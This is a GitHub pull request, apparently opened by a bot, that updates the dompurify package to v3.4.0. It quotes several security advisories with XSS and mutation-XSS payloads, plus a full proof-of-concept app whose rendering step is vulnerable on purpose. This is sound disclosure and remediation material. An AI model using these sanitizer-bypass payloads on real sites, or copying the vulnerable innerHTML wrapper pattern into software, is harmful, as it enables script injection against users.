Update npm package `dompurify` to v3.4.0 [SECURITY] by hash-worker[bot] · Pull Request #8634 · hashintel/hash

hash-worker · 2026-04-16T03:19:09Z

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`3.3.2` -> `3.4.0`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-0540

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

GHSA-h8r8-wccr-v5f2

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

Start the PoC app:

npm install
npm start

Open http://localhost:3001.
Set Wrapper en sink to xmp.
Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

Click Sanitize + Render.
Observe:

Sanitized response still contains the </xmp> sequence inside alt.
The sink reparses to include <img src="x" onerror="alert('expoc')">.
alert('expoc') is triggered.

Files:

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

PoC

daft-video.webm

XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
Keep the rendering context stable from sanitize to sink.
Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

GHSA-cjmm-f4jc-qw8r

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

GHSA-cj63-jhhr-wcxv

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

GHSA-39q2-94rc-95cp

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

Affected Version

v3.3.3 (commit 883ac15)

Release Notes

cure53/DOMPurify (dompurify)

`v3.4.0`: DOMPurify 3.4.0

Compare Source

Most relevant changes:

Fixed a problem with FORBID_TAGS not winning over ADD_TAGS, thanks @kodareef5
Fixed several minor problems and typos regarding MathML attributes, thanks @DavidOliver
Fixed ADD_ATTR/ADD_TAGS function leaking into subsequent array-based calls, thanks @1Jesper1
Fixed a missing SAFE_FOR_TEMPLATES scrub in RETURN_DOM path, thanks @bencalif
Fixed a prototype pollution via CUSTOM_ELEMENT_HANDLING, thanks @trace37labs
Fixed an issue with ADD_TAGS function form bypassing FORBID_TAGS, thanks @eddieran
Fixed an issue with ADD_ATTR predicates skipping URI validation, thanks @christos-eth
Fixed an issue with USE_PROFILES prototype pollution, thanks @christos-eth
Fixed an issue leading to possible mXSS via Re-Contextualization, thanks @researchatfluidattacks and others
Fixed an issue with closing tags leading to possible mXSS, thanks @frevadiscor
Fixed a problem with the type dentition patcher after Node version bump
Fixed freezing BS runs by reducing the tested browsers array
Bumped several dependencies where possible
Added needed files for OpenSSF scorecard checks

Published Advisories are here:
https://github.com/cure53/DOMPurify/security/advisories?state=published

`v3.3.3`: DOMPurify 3.3.3

Compare Source

Fixed an engine requirement for Node 20 which caused hiccups, thanks @Rotzbua

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - "before 4am every weekday,every weekend" (UTC).

🚦 Automerge: Enabled.

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vercel · 2026-04-16T03:19:15Z

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cursor · 2026-04-16T03:19:18Z

PR Summary

Low Risk
Dependency-only version bump with lockfile update; main risk is minor behavior changes in HTML sanitization that could affect rendering or allow/strip different markup.

Overview
Updates the frontend dependency dompurify from 3.3.2 to 3.4.0 (and refreshes the corresponding yarn.lock entry).

This change is intended to pull in upstream security fixes for DOM sanitization used in places like the Prism snippet renderer that sanitizes HTML before dangerouslySetInnerHTML.

^{Reviewed by Cursor Bugbot for commit 5b6fab9. Bugbot is set up for automated code reviews on this repo. Configure here.}

augmentcode · 2026-04-16T03:20:43Z

🤖 Augment PR Summary

Summary: Updates dompurify in apps/hash-frontend from 3.3.2 to 3.4.0 to pick up upstream security fixes for multiple XSS/mXSS bypass conditions.

Changes: Bumps the pinned dependency version (with corresponding yarn.lock update in this PR).

_{🤖 Was this summary useful? React with 👍 or 👎}

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Update npm package dompurify to v3.4.0 [SECURITY]

5b6fab9

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Update npm package `dompurify` to v3.4.0 [SECURITY]#8634

Update npm package `dompurify` to v3.4.0 [SECURITY]#8634
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hash-worker bot commented Apr 16, 2026

GitHub Vulnerability Alerts

CVE-2026-0540

GHSA-h8r8-wccr-v5f2

Description

Vulnerability

PoC

Evidence

Why This Happens

Remediation Guidance

GHSA-cjmm-f4jc-qw8r

Summary

Impact

Credits

GHSA-cj63-jhhr-wcxv

Summary

Impact

Credits

GHSA-39q2-94rc-95cp

Summary

Inconsistency

Impact

Suggested Fix

Affected Version

Release Notes

v3.4.0: DOMPurify 3.4.0

v3.3.3: DOMPurify 3.3.3

Configuration

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`v3.4.0`: DOMPurify 3.4.0

`v3.3.3`: DOMPurify 3.3.3

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